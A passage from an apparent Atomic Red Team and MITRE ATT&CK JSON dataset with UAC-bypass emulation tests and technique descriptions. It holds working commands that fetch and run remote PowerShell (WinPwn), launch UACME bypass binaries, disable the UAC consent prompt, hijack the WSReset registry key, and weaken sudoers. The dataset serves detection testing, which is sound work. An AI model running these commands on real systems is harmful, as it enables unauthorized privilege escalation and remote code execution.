- "description": "Executes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts.\nNote: The cleanup_command's which kill the spawned cmd and event viewer processes only work if run as admin.\n\nAuthor: Stefan Kanthak\n\nType:\tDll Hijack\n\nMethod: .NET Code Profiler\n\nTarget:\t\\system32\\mmc.exe\n\nComponent:\tAttacker defined\n\nImplementation:\tucmCorProfilerMethod\n\nUCM Method:\tUacMethodCorProfiler\n\nhttps://github.com/hfiref0x/UACME\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "uacme_exe": {
- "description": "Path to uacme executable",
- "type": "path",
- "default": "%temp%\\uacme\\39 Akagi64.exe"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "UACME executable must exist on disk at specified location (#{uacme_exe})\n",
- "prereq_command": "$tempPath = cmd /c echo #{uacme_exe}\nif (Test-Path \"$tempPath\") {exit 0} else {exit 1}\n",
- "get_prereq_command": "Invoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1548.002/bin/uacme.zip\" -OutFile \"$env:TEMP\\uacme.zip\"\nExpand-Archive $env:TEMP\\uacme.zip $env:TEMP\\uacme -Force\nRemove-Item $env:TEMP\\uacme.zip -Force\n"
- }
- ],
- "executor": {
- "command": "\"#{uacme_exe}\"\n",
- "cleanup_command": "powershell Stop-Process -Name cmd -Force -ErrorAction Ignore\npowershell Stop-Process -Name mmc -Force -ErrorAction Ignore\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "UACME Bypass Method 56",
- "auto_generated_guid": "235ec031-cd2d-465d-a7ae-68bab281e80e",
- "description": "Executes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts.\nNote: The cleanup_command's which kill the spawned cmd and event viewer processes only work if run as admin.\n\nAuthor: Hashim Jawad\n\nType:\tShell API\n\nMethod: Registry key manipulation\n\nTarget:\t\\system32\\WSReset.exe\n\nComponent:\tAttacker defined\n\nImplementation:\tucmShellRegModMethod\n\nUCM Method:\tUacMethodShellWSReset\n\nhttps://github.com/hfiref0x/UACME\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "uacme_exe": {
- "description": "Path to uacme executable",
- "type": "path",
- "default": "%temp%\\uacme\\56 Akagi64.exe"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "UACME executable must exist on disk at specified location (#{uacme_exe})\n",
- "prereq_command": "$tempPath = cmd /c echo #{uacme_exe}\nif (Test-Path \"$tempPath\") {exit 0} else {exit 1}\n",
- "get_prereq_command": "Invoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1548.002/bin/uacme.zip\" -OutFile \"$env:TEMP\\uacme.zip\"\nExpand-Archive $env:TEMP\\uacme.zip $env:TEMP\\uacme -Force\nRemove-Item $env:TEMP\\uacme.zip -Force\n"
- }
- ],
- "executor": {
- "command": "\"#{uacme_exe}\"\n",
- "cleanup_command": "powershell Stop-Process -Name cmd -Force -ErrorAction Ignore\npowershell Stop-Process -Name mmc -Force -ErrorAction Ignore\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "UACME Bypass Method 59",
- "auto_generated_guid": "dfb1b667-4bb8-4a63-a85e-29936ea75f29",
- "description": "Executes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts.\nNote: The cleanup_command's which kill the spawned cmd and event viewer processes only work if run as admin.\n\nAuthor: James Forshaw\n\nType:\tAppInfo ALPC\n\nMethod: RAiLaunchAdminProcess and DebugObject\n\nTarget:\tAttacker defined\n\nComponent:\tAttacker defined\n\nImplementation:\tucmDebugObjectMethod\n\nUCM Method:\tUacMethodDebugObject\n\nhttps://github.com/hfiref0x/UACME\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "uacme_exe": {
- "description": "Path to uacme executable",
- "type": "path",
- "default": "%temp%\\uacme\\59 Akagi64.exe"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "UACME executable must exist on disk at specified location (#{uacme_exe})\n",
- "prereq_command": "$tempPath = cmd /c echo #{uacme_exe}\nif (Test-Path \"$tempPath\") {exit 0} else {exit 1}\n",
- "get_prereq_command": "Invoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1548.002/bin/uacme.zip\" -OutFile \"$env:TEMP\\uacme.zip\"\nExpand-Archive $env:TEMP\\uacme.zip $env:TEMP\\uacme -Force\nRemove-Item $env:TEMP\\uacme.zip -Force\n"
- }
- ],
- "executor": {
- "command": "\"#{uacme_exe}\"\n",
- "cleanup_command": "powershell Stop-Process -Name cmd -Force -ErrorAction Ignore\npowershell Stop-Process -Name mmc -Force -ErrorAction Ignore\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "UACME Bypass Method 61",
- "auto_generated_guid": "7825b576-744c-4555-856d-caf3460dc236",
- "description": "Executes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts.\nNote: The cleanup_command's which kill the spawned cmd and event viewer processes only work if run as admin.\n\nAuthor: Enigma0x3/bytecode77 derivative by Nassim Asrir\n\nType:\tShell API\n\nMethod: Registry key manipulation\n\nTarget:\t\\system32\\slui.exe, \\system32\\changepk.exe\n\nComponent:\tAttacker defined\n\nImplementation:\tucmShellRegModMethod\n\nUCM Method:\tUacMethodDebugObject\n\nhttps://github.com/hfiref0x/UACME\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "uacme_exe": {
- "description": "Path to uacme executable",
- "type": "path",
- "default": "%temp%\\uacme\\61 Akagi64.exe"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "UACME executable must exist on disk at specified location (#{uacme_exe})\n",
- "prereq_command": "$tempPath = cmd /c echo #{uacme_exe}\nif (Test-Path \"$tempPath\") {exit 0} else {exit 1}\n",
- "get_prereq_command": "Invoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1548.002/bin/uacme.zip\" -OutFile \"$env:TEMP\\uacme.zip\"\nExpand-Archive $env:TEMP\\uacme.zip $env:TEMP\\uacme -Force\nRemove-Item $env:TEMP\\uacme.zip -Force\n"
- }
- ],
- "executor": {
- "command": "\"#{uacme_exe}\"\n",
- "cleanup_command": "powershell Stop-Process -Name cmd -Force -ErrorAction Ignore\npowershell Stop-Process -Name mmc -Force -ErrorAction Ignore\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "WinPwn - UAC Magic",
- "auto_generated_guid": "964d8bf8-37bc-4fd3-ba36-ad13761ebbcc",
- "description": "UAC bypass using Magic technique via function of WinPwn",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'\niex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nUACBypass -noninteractive -command \"C:\\windows\\system32\\cmd.exe\" -technique magic",
- "name": "powershell"
- }
- },
- {
- "name": "WinPwn - UAC Bypass ccmstp technique",
- "auto_generated_guid": "f3c145f9-3c8d-422c-bd99-296a17a8f567",
- "description": "UAC bypass using ccmstp technique via function of WinPwn",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'\niex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nUACBypass -noninteractive -command \"C:\\windows\\system32\\calc.exe\" -technique ccmstp",
- "name": "powershell"
- }
- },
- {
- "name": "WinPwn - UAC Bypass DiskCleanup technique",
- "auto_generated_guid": "1ed67900-66cd-4b09-b546-2a0ef4431a0c",
- "description": "UAC bypass using DiskCleanup technique via function of WinPwn",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'\niex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nUACBypass -noninteractive -command \"C:\\windows\\system32\\cmd.exe\" -technique DiskCleanup",
- "name": "powershell"
- }
- },
- {
- "name": "WinPwn - UAC Bypass DccwBypassUAC technique",
- "auto_generated_guid": "2b61977b-ae2d-4ae4-89cb-5c36c89586be",
- "description": "UAC Bypass DccwBypassUAC technique via function of WinPwn",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Creds/master/obfuscatedps/dccuac.ps1')",
- "name": "powershell"
- }
- },
- {
- "name": "Disable UAC admin consent prompt via ConsentPromptBehaviorAdmin registry key",
- "auto_generated_guid": "251c5936-569f-42f4-9ac2-87a173b9e9b8",
- "description": "Disable User Account Conrol (UAC) for admin by setting the registry key \nHKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\ConsentPromptBehaviorAdmin to 0.\n\n[MedusaLocker Ransomware](https://cloudsek.com/technical-analysis-of-medusalocker-ransomware/), \n[Purple Fox Rootkit](https://blogs.blackberry.com/en/2022/01/threat-thursday-purple-fox-rootkit), \n[Avaddon Ransomware](https://blogs.blackberry.com/en/2021/06/threat-thursday-avaddon-ransomware-uses-ddos-attacks-as-triple-threat)\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "$orgValue =(Get-ItemProperty HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System -Name ConsentPromptBehaviorAdmin).ConsentPromptBehaviorAdmin\nSet-ItemProperty HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System -Name ConsentPromptBehaviorAdmin -Value 0 -Type Dword -Force",
- "cleanup_command": "Set-ItemProperty HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System -Name ConsentPromptBehaviorAdmin -Value $orgValue -Type Dword -Force\n",
- "name": "powershell",
- "elevation_required": true
- }
- },
- {
- "name": "UAC Bypass with WSReset Registry Modification",
- "auto_generated_guid": "3b96673f-9c92-40f1-8a3e-ca060846f8d9",
- "description": "The following UAC bypass is focused on a registry key under \"HKCU:\\Software\\Classes\\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\\Shell\\open\\command\" that will trigger a command once wsreset.exe runs. \nThis bypass is limited to Windows 10 1803/1809 and may not run on Server platforms. The registry mod is where interest will be.\nIf successful, the command to run will spawn off wsreset.exe. \n[UAC Bypass in Windows 10 Store Binary](https://0x1.gitlab.io/exploit/UAC-Bypass-in-Windows-10-Store-Binary/)\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "commandpath": {
- "description": "Registry path",
- "type": "string",
- "default": "HKCU:\\Software\\Classes\\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\\Shell\\open\\command"
- },
- "commandtorun": {
- "description": "Command to run",
- "type": "string",
- "default": "C:\\Windows\\System32\\cmd.exe /c start cmd.exe"
- }
- },
- "executor": {
- "command": "New-Item #{commandpath} -Force | Out-Null\nNew-ItemProperty -Path #{commandpath} -Name \"DelegateExecute\" -Value \"\" -Force | Out-Null\nSet-ItemProperty -Path #{commandpath} -Name \"(default)\" -Value \"#{commandtorun}\" -Force -ErrorAction SilentlyContinue | Out-Null\n$Process = Start-Process -FilePath \"C:\\Windows\\System32\\WSReset.exe\" -WindowStyle Hidden",
- "cleanup_command": "Remove-Item #{commandpath} -Recurse -Force\n",
- "name": "powershell"
- }
- }
- ]
- },
- "T1099": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "Windows",
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Romain Dumont, ESET"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--128c55d3-aeba-469f-bd3e-c8996ab4112a",
- "type": "attack-pattern",
- "created": "2017-05-31T21:31:12.675Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1099",
- "url": "https://attack.mitre.org/techniques/T1099"
- },
- {
- "url": "http://windowsir.blogspot.com/2013/07/howto-determinedetect-use-of-anti.html",
- "description": "Carvey, H. (2013, July 23). HowTo: Determine/Detect the use of Anti-Forensics Techniques. Retrieved June 3, 2016.",
- "source_name": "WindowsIR Anti-Forensic Techniques"
- }
- ],
- "modified": "2020-02-18T16:56:57.039Z",
- "name": "Timestomp",
- "description": "Adversaries may take actions to hide the deployment of new, or modification of existing files to obfuscate their activities. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools. Timestomping may be used along with file name [Masquerading](https://attack.mitre.org/techniques/T1036) to hide malware and tools. (Citation: WindowsIR Anti-Forensic Techniques)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_detection": "Forensic techniques exist to detect aspects of files that have had their timestamps modified. (Citation: WindowsIR Anti-Forensic Techniques) It may be possible to detect timestomping using file modification monitoring that collects information on file handle opens and can compare timestamp values.",
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_defense_bypassed": [
- "Host forensic analysis"
- ],
- "x_mitre_permissions_required": [
- "User",
- "Administrator",
- "SYSTEM"
- ]
- },
- "atomic_tests": []
- },
- "T1548.003": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--1365fe3b-0f50-455d-b4da-266ce31c23b0",
- "type": "attack-pattern",
- "created": "2020-01-30T14:34:44.992Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1548.003",
- "url": "https://attack.mitre.org/techniques/T1548/003"
- },
- {
- "url": "https://www.sudo.ws/",
- "description": "Todd C. Miller. (2018). Sudo Man Page. Retrieved March 19, 2018.",
- "source_name": "sudo man page 2018"
- },
- {
- "url": "https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/",
- "description": "Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web traffic. Retrieved July 10, 2017.",
- "source_name": "OSX.Dok Malware"
- },
- {
- "url": "https://www.cybereason.com/blog/labs-proton-b-what-this-mac-malware-actually-does",
- "description": "Amit Serper. (2018, May 10). ProtonB What this Mac Malware Actually Does. Retrieved March 19, 2018.",
- "source_name": "cybereason osx proton"
- }
- ],
- "modified": "2022-03-14T16:28:19.781Z",
- "name": "Abuse Elevation Control Mechanism: Sudo and Sudo Caching",
- "description": "Adversaries may perform sudo caching and/or use the sudoers file to elevate privileges. Adversaries may do this to execute commands as other users or spawn processes with higher privileges.\n\nWithin Linux and MacOS systems, sudo (sometimes referred to as \"superuser do\") allows users to perform commands from terminals with elevated privileges and to control who can perform these commands on the system. The sudo
command \"allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit trail of the commands and their arguments.\"(Citation: sudo man page 2018) Since sudo was made for the system administrator, it has some useful configuration features such as a timestamp_timeout
, which is the amount of time in minutes between instances of sudo
before it will re-prompt for a password. This is because sudo
has the ability to cache credentials for a period of time. Sudo creates (or touches) a file at /var/db/sudo
with a timestamp of when sudo was last run to determine this timeout. Additionally, there is a tty_tickets
variable that treats each new tty (terminal session) in isolation. This means that, for example, the sudo timeout of one tty will not affect another tty (you will have to type the password again).\n\nThe sudoers file, /etc/sudoers
, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the principle of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like user1 ALL=(ALL) NOPASSWD: ALL
.(Citation: OSX.Dok Malware) Elevated privileges are required to edit this file though.\n\nAdversaries can also abuse poor configurations of these mechanisms to escalate privileges without needing the user's password. For example, /var/db/sudo
's timestamp can be monitored to see if it falls within the timestamp_timeout
range. If it does, then malware can execute sudo commands without needing to supply the user's password. Additional, if tty_tickets
is disabled, adversaries can do this from any tty for that user.\n\nIn the wild, malware has disabled tty_tickets
to potentially make scripting easier by issuing echo \\'Defaults !tty_tickets\\' >> /etc/sudoers
.(Citation: cybereason osx proton) In order for this change to be reflected, the malware also issued killall Terminal
. As of macOS Sierra, the sudoers file has tty_tickets
enabled by default.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_detection": "On Linux, auditd can alert every time a user's actual ID and effective ID are different (this is what happens when you sudo). This technique is abusing normal functionality in macOS and Linux systems, but sudo has the ability to log all input and output based on the LOG_INPUT
and LOG_OUTPUT
directives in the /etc/sudoers
file.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "File: File Modification",
- "Command: Command Execution",
- "Process: Process Metadata",
- "Process: Process Creation"
- ],
- "x_mitre_permissions_required": [
- "User"
- ],
- "x_mitre_effective_permissions": [
- "root"
- ],
- "identifier": "T1548.003"
- },
- "atomic_tests": []
- },
- "T1578": {
- "technique": {
- "x_mitre_platforms": [
- "IaaS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--144e007b-e638-431d-a894-45d90c54ab90",
- "type": "attack-pattern",
- "created": "2019-08-30T18:03:05.864Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1578",
- "url": "https://attack.mitre.org/techniques/T1578"
- },
- {
- "source_name": "Mandiant M-Trends 2020",
- "url": "https://content.fireeye.com/m-trends/rpt-m-trends-2020",
- "description": "Mandiant. (2020, February). M-Trends 2020. Retrieved April 24, 2020."
- }
- ],
- "modified": "2021-04-20T14:51:01.759Z",
- "name": "Modify Cloud Compute Infrastructure",
- "description": "An adversary may attempt to modify a cloud account's compute service infrastructure to evade defenses. A modification to the compute service infrastructure can include the creation, deletion, or modification of one or more components such as compute instances, virtual machines, and snapshots.\n\nPermissions gained from the modification of infrastructure components may bypass restrictions that prevent access to existing infrastructure. Modifying infrastructure components may also allow an adversary to evade detection and remove evidence of their presence.(Citation: Mandiant M-Trends 2020)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_detection": "Establish centralized logging for the activity of cloud compute infrastructure components. Monitor for suspicious sequences of events, such as the creation of multiple snapshots within a short period of time or the mount of a snapshot to a new instance by a new or unexpected user. To reduce false positives, valid change management procedures could introduce a known identifier that is logged with the change (e.g., tag or header) if supported by the cloud provider, to help distinguish valid, expected actions from malicious ones.",
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Instance: Instance Creation",
- "Snapshot: Snapshot Deletion",
- "Volume: Volume Metadata",
- "Snapshot: Snapshot Metadata",
- "Snapshot: Snapshot Creation",
- "Volume: Volume Deletion",
- "Instance: Instance Modification",
- "Snapshot: Snapshot Modification",
- "Instance: Instance Deletion",
- "Volume: Volume Creation",
- "Volume: Volume Modification",
- "Instance: Instance Metadata",
- "Instance: Instance Start",
- "Instance: Instance Stop"
- ],
- "x_mitre_permissions_required": [
- "User"
- ]
- },
- "atomic_tests": []
- },
- "T1542.001": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Jean-Ian Boutin, ESET",
- "McAfee",
- "Ryan Becwar"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--16ab6452-c3c1-497c-a47d-206018ca1ada",
- "type": "attack-pattern",
- "created": "2019-12-19T19:43:34.507Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1542.001",
- "url": "https://attack.mitre.org/techniques/T1542/001"
- },
- {
- "external_id": "CAPEC-532",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/532.html"
- },
- {
- "url": "https://en.wikipedia.org/wiki/BIOS",
- "description": "Wikipedia. (n.d.). BIOS. Retrieved January 5, 2016.",
- "source_name": "Wikipedia BIOS"
- },
- {
- "url": "https://en.wikipedia.org/wiki/Unified_Extensible_Firmware_Interface",
- "description": "Wikipedia. (2017, July 10). Unified Extensible Firmware Interface. Retrieved July 11, 2017.",
- "source_name": "Wikipedia UEFI"
- },
- {
- "url": "http://www.uefi.org/about",
- "description": "UEFI Forum. (n.d.). About UEFI Forum. Retrieved January 5, 2016.",
- "source_name": "About UEFI"
- },
- {
- "url": "http://www.mitre.org/publications/project-stories/going-deep-into-the-bios-with-mitre-firmware-security-research",
- "description": "Upham, K. (2014, March). Going Deep into the BIOS with MITRE Firmware Security Research. Retrieved January 5, 2016.",
- "source_name": "MITRE Trustworthy Firmware Measurement"
- },
- {
- "url": "http://www.mitre.org/capabilities/cybersecurity/overview/cybersecurity-blog/copernicus-question-your-assumptions-about",
- "description": "Butterworth, J. (2013, July 30). Copernicus: Question Your Assumptions about BIOS Security. Retrieved December 11, 2015.",
- "source_name": "MITRE Copernicus"
- },
- {
- "url": "https://securingtomorrow.mcafee.com/business/chipsec-support-vault-7-disclosure-scanning/",
- "description": "Beek, C., Samani, R. (2017, March 8). CHIPSEC Support Against Vault 7 Disclosure Scanning. Retrieved March 13, 2017.",
- "source_name": "McAfee CHIPSEC Blog"
- },
- {
- "url": "https://github.com/chipsec/chipsec",
- "description": "Intel. (2017, March 18). CHIPSEC Platform Security Assessment Framework. Retrieved March 20, 2017.",
- "source_name": "Github CHIPSEC"
- },
- {
- "url": "http://www.intelsecurity.com/advanced-threat-research/content/data/HT-UEFI-rootkit.html",
- "description": "Intel Security. (2005, July 16). HackingTeam's UEFI Rootkit Details. Retrieved March 20, 2017.",
- "source_name": "Intel HackingTeam UEFI Rootkit"
- }
- ],
- "modified": "2020-05-19T21:22:37.865Z",
- "name": "System Firmware",
- "description": "Adversaries may modify system firmware to persist on systems.The BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) or Extensible Firmware Interface (EFI) are examples of system firmware that operate as the software interface between the operating system and hardware of a computer. (Citation: Wikipedia BIOS) (Citation: Wikipedia UEFI) (Citation: About UEFI)\n\nSystem firmware like BIOS and (U)EFI underly the functionality of a computer and may be modified by an adversary to perform or assist in malicious activity. Capabilities exist to overwrite the system firmware, which may give sophisticated adversaries a means to install malicious firmware updates as a means of persistence on a system that may be difficult to detect.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_detection": "System firmware manipulation may be detected. (Citation: MITRE Trustworthy Firmware Measurement) Dump and inspect BIOS images on vulnerable systems and compare against known good images. (Citation: MITRE Copernicus) Analyze differences to determine if malicious changes have occurred. Log attempts to read/write to BIOS and compare against known patching behavior.\n\nLikewise, EFI modules can be collected and compared against a known-clean list of EFI executable binaries to detect potentially malicious modules. The CHIPSEC framework can be used for analysis to determine if firmware modifications have been performed. (Citation: McAfee CHIPSEC Blog) (Citation: Github CHIPSEC) (Citation: Intel HackingTeam UEFI Rootkit)",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Firmware: Firmware Modification"
- ],
- "x_mitre_defense_bypassed": [
- "Host intrusion prevention systems",
- "Anti-virus",
- "File monitoring"
- ],
- "x_mitre_permissions_required": [
- "Administrator",
- "SYSTEM"
- ]
- },
- "atomic_tests": []
- },
- "T1574.011": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Travis Smith, Tripwire",
- "Matthew Demaske, Adaptforward"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--17cc750b-e95b-4d7d-9dde-49e0de24148c",
- "created": "2020-03-13T11:42:14.444Z",
- "x_mitre_version": "1.1",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1574.011",
- "url": "https://attack.mitre.org/techniques/T1574/011"
- },
- {
- "source_name": "Tweet Registry Perms Weakness",
- "url": "https://twitter.com/r0wdy_/status/936365549553991680",
- "description": "@r0wdy_. (2017, November 30). Service Recovery Parameters. Retrieved April 9, 2018."
- },
- {
- "source_name": "insecure_reg_perms",
- "url": "https://itm4n.github.io/windows-registry-rpceptmapper-eop/",
- "description": "Cl\u00e9ment Labro. (2020, November 12). Windows RpcEptMapper Service Insecure Registry Permissions EoP. Retrieved August 25, 2021."
- },
- {
- "source_name": "Kansa Service related collectors",
- "url": "https://trustedsignal.blogspot.com/2014/05/kansa-service-related-collectors-and.html",
- "description": "Hull, D.. (2014, May 3). Kansa: Service related collectors and analysis. Retrieved October 10, 2019."
- },
- {
- "source_name": "malware_hides_service",
- "url": "https://www.bleepingcomputer.com/tutorials/how-malware-hides-as-a-service/",
- "description": "Lawrence Abrams. (2004, September 10). How Malware hides and is installed as a Service. Retrieved August 30, 2021."
- },
- {
- "source_name": "Autoruns for Windows",
- "url": "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns",
- "description": "Mark Russinovich. (2019, June 28). Autoruns for Windows v13.96. Retrieved March 13, 2020."
- },
- {
- "source_name": "Registry Key Security",
- "url": "https://docs.microsoft.com/en-us/windows/win32/sysinfo/registry-key-security-and-access-rights?redirectedfrom=MSDN",
- "description": "Microsoft. (2018, May 31). Registry Key Security and Access Rights. Retrieved March 16, 2017."
- },
- {
- "source_name": "microsoft_services_registry_tree",
- "url": "https://docs.microsoft.com/en-us/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree",
- "description": "Microsoft. (2021, August 5). HKLM\\SYSTEM\\CurrentControlSet\\Services Registry Tree. Retrieved August 25, 2021."
- },
- {
- "source_name": "troj_zegost",
- "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj_zegost",
- "description": "Trend Micro. (2012, October 9). TROJ_ZEGOST. Retrieved September 2, 2021."
- },
- {
- "url": "https://capec.mitre.org/data/definitions/478.html",
- "source_name": "capec",
- "external_id": "CAPEC-478"
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Adversaries may use flaws in the permissions for Registry keys related to services to redirect from the originally specified executable to one that they control, in order to launch their own code when a service starts. Windows stores local service configuration information in the Registry under HKLM\\SYSTEM\\CurrentControlSet\\Services
. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, [PowerShell](https://attack.mitre.org/techniques/T1059/001), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through access control lists and user permissions. (Citation: Registry Key Security)(Citation: malware_hides_service)\n\nIf the permissions for users and groups are not properly set and allow access to the Registry keys for a service, adversaries may change the service's binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to establish persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).\n\nAdversaries may also alter other Registry keys in the service\u2019s Registry tree. For example, the FailureCommand
key may be changed so that the service is executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: Kansa Service related collectors)(Citation: Tweet Registry Perms Weakness)\n\nThe Performance
key contains the name of a driver service's performance DLL and the names of several exported functions in the DLL.(Citation: microsoft_services_registry_tree) If the Performance
key is not already present and if an adversary-controlled user has the Create Subkey
permission, adversaries may create the Performance
key in the service\u2019s Registry tree to point to a malicious DLL.(Citation: insecure_reg_perms)\n\nAdversaries may also add the Parameters
key, which stores driver-specific data, or other custom subkeys for their malicious services to establish persistence or enable other malicious activities.(Citation: microsoft_services_registry_tree)(Citation: troj_zegost) Additionally, If adversaries launch their malicious services using svchost.exe, the service\u2019s file may be identified using HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\servicename\\Parameters\\ServiceDll
.(Citation: malware_hides_service)",
- "modified": "2022-05-05T04:53:45.640Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Hijack Execution Flow: Services Registry Permissions Weakness",
